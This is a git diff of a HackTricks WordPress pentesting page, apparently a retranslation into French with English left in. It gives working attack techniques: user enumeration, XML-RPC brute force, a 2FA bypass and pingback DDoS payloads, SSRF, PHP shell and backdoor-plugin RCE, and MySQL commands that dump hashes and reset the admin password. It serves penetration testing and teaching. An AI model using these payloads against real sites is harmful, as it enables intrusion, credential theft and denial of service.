mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
d2e507f234
commit
8e71e5d715
@ -4,49 +4,49 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
- Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE vous utiliserez probablement ce chemin. Par exemple : en utilisant **theme twentytwelve** vous pouvez **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Dans **wp-config.php** vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Fichiers principaux de WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contient des informations utiles telles que la version de WordPress installée.
|
||||
- `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.
|
||||
- Dossiers de connexion (peuvent être renommés pour se cacher) :
|
||||
- `wp-activate.php` est utilisé pour le processus d'activation par email lors de la création d'un nouveau site WordPress.
|
||||
- Dossiers de connexion (peuvent être renommés pour les cacher) :
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
|
||||
- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet de transmettre des données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par la WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
|
||||
- `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
|
||||
- `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan de site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement.
|
||||
- `wp-content/uploads/` est le répertoire où tous les fichiers téléversés sur la plateforme sont stockés.
|
||||
- `wp-includes/` est le répertoire où les fichiers core sont stockés, tels que les certificats, polices, fichiers JavaScript et widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de post et taxonomies publiquement interrogeables.
|
||||
|
||||
**Post exploitation**
|
||||
**Post-exploitation**
|
||||
|
||||
- Le fichier `wp-config.php` contient des informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de la table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
|
||||
- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données comme le nom de la base de données, l'hôte, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base de données. Ce fichier de configuration peut aussi servir à activer le mode DEBUG, utile pour le dépannage.
|
||||
|
||||
### Permissions des utilisateurs
|
||||
|
||||
- **Administrateur**
|
||||
- **Éditeur** : Publie et gère ses propres articles et ceux des autres
|
||||
- **Auteur** : Publie et gère ses propres articles
|
||||
- **Contributeur** : Écrit et gère ses articles mais ne peut pas les publier
|
||||
- **Abonné** : Parcourt les articles et édite son profil
|
||||
- **Administrator**
|
||||
- **Editor** : Publie et gère ses articles et ceux des autres
|
||||
- **Author** : Publie et gère ses propres articles
|
||||
- **Contributor** : Écrit et gère ses articles mais ne peut pas les publier
|
||||
- **Subscriber** : Consulte les articles et peut modifier son profil
|
||||
|
||||
## **Énumération passive**
|
||||
|
||||
### **Obtenir la version de WordPress**
|
||||
|
||||
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
|
||||
Vérifiez la présence des fichiers `/license.txt` ou `/readme.html`
|
||||
|
||||
À l'intérieur du **code source** de la page (exemple de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
|
||||
Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/]):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,19 +56,19 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- Fichiers de lien CSS
|
||||
- fichiers link CSS
|
||||
|
||||
.png>)
|
||||
|
||||
- Fichiers JavaScript
|
||||
- fichiers JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
### Obtenir des plugins
|
||||
### Obtenir des Plugins
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Obtenir des thèmes
|
||||
### Obtenir les thèmes
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -79,37 +79,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Énumération active
|
||||
|
||||
### Plugins et Thèmes
|
||||
### Plugins and Themes
|
||||
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez **forcer activement une liste de Plugins et Thèmes** (espérons-le pour nous, il existe des outils automatisés qui contiennent ces listes).
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour les découvrir tous, vous devrez **Brute Force activement une liste de Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
|
||||
|
||||
### Utilisateurs
|
||||
|
||||
- **ID Brute :** Vous obtenez des utilisateurs valides d'un site WordPress en forçant les IDs des utilisateurs :
|
||||
- **ID Brute:** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Si les réponses sont **200** ou **30X**, cela signifie que l'id est **valide**. Si la réponse est **400**, alors l'id est **invalide**.
|
||||
|
||||
- **wp-json :** Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
|
||||
- **wp-json:** Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Un autre point de terminaison `/wp-json/` qui peut révéler des informations sur les utilisateurs est :
|
||||
Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les utilisateurs est :
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Notez que ce point de terminaison n'expose que les utilisateurs qui ont fait un post. **Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies**.
|
||||
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs ayant cette fonctionnalité activée seront fournies**.
|
||||
|
||||
Notez également que **/wp-json/wp/v2/pages** pourrait divulguer des adresses IP.
|
||||
Notez aussi que **/wp-json/wp/v2/pages** pourrait divulguer des adresses IP.
|
||||
|
||||
- **Énumération des noms d'utilisateur de connexion** : Lors de la connexion à **`/wp-login.php`**, le **message** est **différent** selon que le **nom d'utilisateur existe ou non**.
|
||||
- **Login username enumeration** : Lorsque vous vous connectez via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique si le **username** existe ou non.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus[ en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple).
|
||||
Si `xml-rpc.php` est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS contre d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit), par exemple).
|
||||
|
||||
Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
|
||||
Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
|
||||
|
||||
**Vérifier**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce des identifiants**
|
||||
**Bruteforce d'identifiants**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour bruteforcer des identifiants. Si vous pouvez en trouver un, vous pouvez envoyer quelque chose comme :
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des identifiants. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides.
|
||||
Le message _"Incorrect username or password"_ dans une réponse avec le code 200 doit apparaître si les credentials ne sont pas valides.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
En utilisant les credentials corrects vous pouvez upload un fichier. Dans la réponse, le path apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans l
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Il existe également un **moyen plus rapide** de brute-forcer les identifiants en utilisant **`system.multicall`** car vous pouvez essayer plusieurs identifiants dans la même requête :
|
||||
Il existe aussi une façon **plus rapide** de brute-forcer des identifiants en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs identifiants dans la même requête :
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Contourner 2FA**
|
||||
**Contourner la 2FA**
|
||||
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez tout de même être en mesure d'atteindre RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge la 2FA. Ainsi, si vous avez des identifiants valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions réalisables via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou scan de port**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Si vous pouvez trouver la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
|
||||
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que **Wordpress** **scanne** un **réseau** interne (vous pouvez indiquer n'importe quel port).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** scan some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpres
|
||||
|
||||
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
|
||||
|
||||
Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre à abuser de cette méthode pour provoquer un DDoS.
|
||||
Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,16 +210,16 @@ Jetez un œil à l'utilisation de **`system.multicall`** dans la section précé
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\
|
||||
Lorsque ce fichier est **accédé**, une **requête** MySQL "**lourde**" est effectuée, il pourrait donc être utilisé par des **attaquants** pour **causer** un **DoS**.\
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui, sur des sites à fort trafic, peut causer des problèmes (DoS).
|
||||
Lorsque ce fichier est **accédé**, une requête MySQL "**lourde**" est exécutée, il peut donc être utilisé par des **attaquants** pour **causer** un **DoS**.\
|
||||
De plus, par défaut, `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut causer des problèmes (DoS).
|
||||
|
||||
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
|
||||
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui exécute les actions nécessaires à intervalles réguliers (sans causer de problèmes).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut vous faire une requête.
|
||||
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut effectuer une requête vers vous.
|
||||
|
||||
Voici la réponse lorsque cela ne fonctionne pas :
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,36 +230,36 @@ Voici la réponse lorsque cela ne fonctionne pas :
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
|
||||
Cet outil vérifie la présence du **methodName: pingback.ping** et du chemin **/wp-json/oembed/1.0/proxy** ; s'ils existent, il tente de les exploiter.
|
||||
|
||||
## Outils Automatiques
|
||||
## Outils automatiques
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Accéder en écrasant un bit
|
||||
## Obtenir l'accès en modifiant un bit
|
||||
|
||||
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour NOP l'opération NOT (`!`).
|
||||
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit d'un fichier wordpress quelconque. Ainsi, vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour rendre NOP l'opération NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modifier un php du thème utilisé (identifiants administratifs nécessaires)**
|
||||
**Modification d'un php du thème utilisé (identifiants admin requis)**
|
||||
|
||||
Apparence → Éditeur de thème → Modèle 404 (à droite)
|
||||
Appearance → Theme Editor → 404 Template (à droite)
|
||||
|
||||
Changez le contenu pour un shell php :
|
||||
Remplacez le contenu par un shell php :
|
||||
|
||||
.png>)
|
||||
|
||||
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
Vous pouvez utiliser :
|
||||
Vous pouvez utiliser:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -267,26 +267,26 @@ pour obtenir une session.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### Plugin PHP
|
||||
### PHP plugin
|
||||
|
||||
Il peut être possible de télécharger des fichiers .php en tant que plugin.\
|
||||
Créez votre backdoor php en utilisant par exemple :
|
||||
Il peut être possible de téléverser des fichiers .php en tant que plugin.\
|
||||
Créez votre php backdoor en utilisant par exemple :
|
||||
|
||||
.png>)
|
||||
|
||||
Puis ajoutez un nouveau plugin :
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Téléchargez le plugin et appuyez sur Installer maintenant :
|
||||
Téléversez le plugin et cliquez sur Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Cliquez sur Procéder :
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probablement, cela ne fera apparemment rien, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
|
||||
Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -294,66 +294,66 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
|
||||
|
||||
.png>)
|
||||
|
||||
### Téléchargement et activation d'un plugin malveillant
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
|
||||
1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installation du plugin** :
|
||||
- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
|
||||
- Téléchargez le fichier zip du plugin téléchargé.
|
||||
3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
|
||||
4. **Exploitation** :
|
||||
1. **Plugin Acquisition**: Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Allez dans le WordPress dashboard, puis dans `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
|
||||
4. **Exploitation**:
|
||||
- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
|
||||
- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, offrant un accès non autorisé au site.
|
||||
- Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
|
||||
Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec autorisation explicite.
|
||||
Le contenu inclut des aides visuelles montrant les étapes dans le WordPress dashboard pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le penetration testing avec autorisation explicite.
|
||||
|
||||
**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## De XSS à RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
|
||||
- _**Escalade de privilèges :**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
|
||||
- _**(RCE) Édition de plugin intégré :**_ Éditez des plugins intégrés dans WordPress.
|
||||
- _**(RCE) Édition de thème intégré :**_ Éditez des thèmes intégrés dans WordPress.
|
||||
- _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité de **Cross-Site Scripting (XSS)** en **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, voir [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **support pour Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploader votre custom plugin (backdoor) sur WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifier un Built-In Plugin dans WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifier un Built-In Theme dans WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits pour des Third-Party WordPress Plugins/Themes.
|
||||
|
||||
## Post-exploitation
|
||||
## Post Exploitation
|
||||
|
||||
Extraire les noms d'utilisateur et les mots de passe :
|
||||
Extraire les usernames et passwords :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Changer le mot de passe administrateur :
|
||||
Changer le mot de passe admin :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Pentest des Plugins Wordpress
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Surface d'Attaque
|
||||
### Surface d'attaque
|
||||
|
||||
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez découvrir comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**cet article de blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
L'une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci pourraient contenir des bogues de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que **tout utilisateur authentifié dans l'instance Wordpress pourrait avoir** (indépendamment de son rôle).
|
||||
Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des failles de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions reposent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress peut posséder** (indépendamment de son rôle).
|
||||
|
||||
Ce sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
|
||||
Voici les fonctions qui peuvent être utilisées pour exposer une fonctionnalité dans un plugin :
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'utilisation de `nopriv` rend le point de terminaison accessible à tous les utilisateurs (même ceux non authentifiés).**
|
||||
**L'utilisation de `nopriv` rend l'endpoint accessible par n'importe quel utilisateur (même les utilisateurs non authentifiés).**
|
||||
|
||||
> [!CAUTION]
|
||||
> De plus, si la fonction vérifie simplement l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette fonction vérifie seulement si l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilège pourraient avoir accès à des actions à haut privilège.
|
||||
> De plus, si la fonction se contente de vérifier l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette dernière vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilège pourraient avoir accès à des actions à privilèges élevés.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Il est également possible d'exposer des fonctions de WordPress en enregistrant une API REST à l'aide de la fonction `register_rest_route` :
|
||||
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API à l'aide de la fonction `register_rest_route` :
|
||||
```php
|
||||
register_rest_route(
